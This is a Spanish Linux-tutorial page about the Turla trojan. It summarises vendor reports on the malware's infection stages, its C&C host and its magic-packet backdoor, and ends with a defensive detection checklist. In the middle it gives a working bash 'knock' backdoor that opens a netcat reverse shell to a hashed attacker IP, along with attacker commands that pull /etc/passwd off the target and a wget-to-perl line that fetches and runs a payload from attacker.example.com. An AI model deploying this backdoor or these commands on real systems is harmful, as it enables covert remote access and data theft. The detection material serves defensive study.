GNU/Linux >> Tutoriales Linux >  >> Linux

Troyano Turla basado en Linux

TURLA es la etapa final de una gran y sofisticada familia de malware. Se conocen versiones de Windows desde al menos 2010. Esta presentación de 40 páginas es el recurso más completo que he visto, para cualquiera de las plataformas.

TURLA - desarrollo y operaciones

Algunos aspectos destacados de Windows

  • Etapa 0:etapa de ataque - vector de infección
  • Etapa 1:etapa de reconocimiento - puerta trasera inicial
  • Etapa 2:movimientos laterales
  • Etapa 3:acceso etapa establecida -TURLA desplegada
  • En cada etapa pueden renunciar si pierden interés en el objetivo

Etapa 0:Vectores de Inyección

  • Suplantación de identidad (Spear Phishing) (CVE-2013-3346)(CVE-2013-5065)

  • Watering Holes [Exploits de ingeniería social / Java de actualización de Adobe (CVE-2012-1723), exploits de Adobe Flash o exploits de Internet Explorer 6,7,8]

  • Compromiso de proveedores externos

Etapa 1:Etapa de reconocimiento

  • Puerta trasera inicial:WipBot/Epic/TavDig

  • WipBot es una combinación de un exploit de día cero y CVE-2013-3346

  • Exporta funciones con los mismos nombres que TURLA. No hay otras similitudes

  • Rompe la depuración y la mayoría de los sandboxes de malware

  • El proceso salta varias veces, borra su propia sección PE

  • Más descrito en el informe de Kaspersky Lab

Etapa 2:Movimientos laterales

  • Refinar C&C

  • Penetrar aún más en la red

  • Utilizar una puerta trasera nueva

  • Obtiene credenciales de administrador de dominio

Etapa 3:Turla

  • Soltado en máquinas seleccionadas para compromiso a largo plazo

  • Las máquinas pueden verse comprometidas durante años sin ser detectadas





Otros recursos

  • El 'Penguin Turla' - Kaspersky Lab (detalles específicos de Linux)

  • Informe de Symantec - Turla





Aspectos destacados de Linux

  • Módulo Turla escrito en C/C++

  • Basado en cd00r

  • El ejecutable está vinculado estáticamente contra múltiples bibliotecas

  • Su funcionalidad incluye comunicaciones de red ocultas, ejecución de comandos remotos arbitrarios y administración remota

  • Gran parte de su código se basa en fuentes públicas

  • No puedo ser detectado con netstat

  • no requiere acceso de root

Características ejecutables de Linux

  • Ejecutable ELF LSB de 32 bits, Intel 80386, versión 1 (SYSV), enlazado estáticamente, para GNU/Linux 2.2.5, despojado

Bibliotecas enlazadas estáticamente de Linux

  • glibc2.3.2 - la biblioteca GNU C

  • openssl v0.9.6 - una biblioteca OpenSSL más antigua

  • libpcap - biblioteca de captura de red de tcpdump

Detalles de C&C de Linux

  • El C&C de la primera etapa está codificado. Actividad conocida @ news-bbc.podzone[.]org

  • IP pDNS:80.248.65.183

Detalles de inicio/ejecución de Linux

  • El proceso requiere dos parámetros:ID (un valor numérico utilizado como parte del "paquete mágico para la autenticación") y un nombre de interfaz de red existente

  • Los parámetros se pueden ingresar de dos maneras diferentes:desde STDIN, o desde el cuentagotas y lanzando la muestra

  • Después de ingresar la ID y el nombre de la interfaz y de iniciar el proceso, se devuelve el PID del proceso de la puerta trasera

Paquete Mágico de Linux

  • Vincula estáticamente bibliotecas PCAP

  • Obtiene socket sin formato, aplica filtro, captura paquetes

  • Busca un número ACK en el encabezado TCP o el segundo byte del cuerpo del paquete UDP

  • Si se cumple la condición, la ejecución salta al contenido de la carga útil del paquete y crea un socket normal

  • Backdoor usa un nuevo socket para conectarse a la dirección de origen de Magic Packets

  • Backdoor informa su propio PID e IP, espera recibir comandos

  • Los comandos que llegan se ejecutan con un script "/bin/sh -c"

Notas finales

Todo lo relacionado con la versión de Linux fue del informe de Kaspersky. Desafortunadamente, la detección parece ser muy difícil en este momento.

"Aunque se sabía que existían variantes de Linux del marco Turla, aún no hemos visto ninguna". - Laboratorio Kaspersky


Cómo funciona esto:

Introducción corta

Para encontrar una manera de detectarlos, he trabajado mucho en torno a conceptos y métodos.

Para esto, rápidamente escribí un pequeño script de bash que funcionaba aproximadamente de la misma manera.

A partir de ahí y con algunos conocimientos adicionales sobre los conceptos de Un*x, publico mi lista de verificación que podría ayudar a encontrar este troyano funcional en cualquier sistema.

Bash reescribió Tocar la puerta de Turla

Para entender cómo funciona esto, escribí esto:

(Esto debe ejecutarse en el host de destino, mediante algún exploit remoto, virus u otros).

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

Esto no es totalmente indetectable pero...

Características

  • Totalmente indetectable usando netstat , mientras escucha las conexiones del atacante.
  • Utilice [In->Out] como [RANDOM->80] puertos tcp para que la conexión se vea como cualquier navegación conexión.
  • Espere una IP específica (hash, por lo que no se puede leer) en el puerto local 22, sin usando promiscuo modo ni requiere root privilegio
  • Una vez detectada una conexión entrante desde la IP específica (¡Toc! ), esto abre una conexión a esta IP, en el puerto 80 para que parezca una conexión de navegación y ofrece una fiesta , de vuelta en esta conexión.

Nota: troyano real ¡podría usar SSL y encabezados HTTP reales para trabajar a través de proxy también!

Esto acepta 4 argumentos:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm es hash de atacante salado 'sorbo. Podría representarse usando md5sum <<<SaltMyIP192.168.1.31 (La sal se puede cambiar en el script).
  • KnockDoorPort -> bport es cualquier puerto ya vinculado, utilizado en el host de destino (22 para muestra si el destino sirve SSH, pero se podría utilizar cualquier puerto abierto)
  • myPort -> rport es el puerto del atacante local utilizado para la conexión entrante (80 para que parezca una conexión http saliente. ¡Por supuesto que el atacante debe ser root en su host!)
  • -i la bandera podría usarse para ejecutar bash interactivamente

Paso de infección

  1. El primer paso es ejecutar este script usando cualquier exploit remoto, como shellshock o cualquier desbordamiento de búfer .

  2. En segundo lugar, el atacante debe conocer la IP del objetivo para enviar un knock door en el puerto 22

  3. Usar de IP del atacante (como raíz para escuchar en el puerto TCP 80), espere la conexión entrante del objetivo.

  4. ¡Estás registrado en un caparazón en el objetivo!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Muestra:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

o

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

No tan fácil de detectar

Mientras la secuencia de comandos sigue ejecutándose en el host de destino y no hay ninguna conexión del atacante abierta, la secuencia de comandos en ejecución no es visible mediante el uso de netcat .

Knock se realizan una vez en el puerto 22 donde fallar muchas conexiones es regular . La conexión de shell real se parece a cualquier conexión http saliente.

Respuestas:

  1. ¿Cómo se infectan las máquinas Linux?

    Este es un troyano , por lo que esta pregunta realmente no importa... (ver Shellshock, para una muestra)

  2. ¿Hay alguna escalada de privilegios involucrada, o todo sucede solo bajo el usuario infectado (es decir, uid 1000)

    No, uno de los objetivos de esto es permitir que el atacante busque una forma de hacer una escalada de privilegios .

  3. ¿Dónde "vive" el código de malware en la máquina infectada

    1. En todas partes y en ninguna parte:si ejecuta esto como un archivo adjunto, puede saber dónde los ha almacenado. Si se ejecuta desde un exploit remoto, podrían eliminar el binario una vez ejecutado.

    2. Si Turla es un binario (escrito en C), que tienen para almacenarse en algún lugar de su sistema Un*x, con banderas ejecutables configuradas para ejecutarse. El sistema de archivos reciente permite eliminarlos después de ejecutarse, ¡pero el inodo debe permanecer intacto!
      Esto podría revelarse al buscar binarios que se ejecutan en su sistema pero que se encuentran en estándar PATH .

    3. Si troyano es un script, solo el binario debe estar vinculado en el sistema de archivos, por lo que el script podría eliminarse o incluso ejecutarse como STDIN y no se almacena en absoluto.
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. más cualquier otro detalle interesante

    Por favor, pruebe mi script bash...

Lista de verificación (agregada:2015-02-04)

  • Buscar bifurcado pids (donde Padre Pid ==1)

     grep PPid:\\s1$ /proc/*/status
    
  • Busque procesos que no ejecuten binarios desde PATH

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • Buscar proceso en ejecución durante mucho tiempo

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Script:busque el proceso que hace una especie de ocultación:compare exe y command line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • Usando apparmor , puede observar el proceso que accede a tcp stack (y/o pila UDP ).

  • Usando tcpdump , hay un trabajo fuerte, pero una solución eficiente:

    Esté atento a salientes conexión que realiza cualquier tipo de solicitud, se convierte en una respuesta no necesariamente inmediatamente después, pero enviar la siguiente solicitud inmediatamente después de recibir la primera respuesta, no se preocupe por la respuesta de la última solicitud:se cerrará cuando reciba exit directiva, diciendo algo como logout. , que podría conducirse como la última solicitud http de la sesión actual , pero cerrar antes recibiendo cualquier respuesta http .

    De hecho, debe encontrar una conexión saliente donde los intercambios de datos no coincidan con el esquema normal de conexión saliente, sino con un esquema híbrido de inicio del servidor - conexión entrante - parada del servidor .

    Por supuesto, esto tiene que ser atrapado porque ninguna conexión está permanentemente abierta.

  • Hacer estadísticas de llamadas al sistema (usando apparmor)

    gracias a alphanet por esta idea

    Crea estadísticas para cada proceso en ejecución y

    Envíelos a una herramienta bayesiana para calcular perfiles regulares

    Para recibir una alerta cuando un nuevo proceso no coincida con perfiles regulares (o incluso cuando cambia un proceso en ejecución).


Linux
  1. Cómo escanear su Linux Box en busca de troyanos, malware y virus usando ClamAV

  2. Linux:¿cuáles son las principales diferencias entre los sistemas operativos basados ​​en Bsd y Linux?

  3. Linux:¿Qué tan limitada es la distribución basada en Linux en el Nokia N900?

  4. Cambiar el diseño del teclado de GRUB en la etapa 1

  5. Troyano Turla basado en Linux

Creación de un sistema HPC basado en Linux en Raspberry Pi con Ansible

Cómo usar Plesk para organizar sitios web

¡Alerta de virus! Un troyano "Hand Of Thief" solo para Linux detectado en el mercado gris

Corrección del error "Vagrant no se pudo inicializar en una etapa muy temprana"

Linux:¿cómo Grub Stage1, exactamente, accede/carga la etapa 2?

¿Cómo averiguo qué procesos están accediendo al disco duro en un sistema basado en GNU/Linux?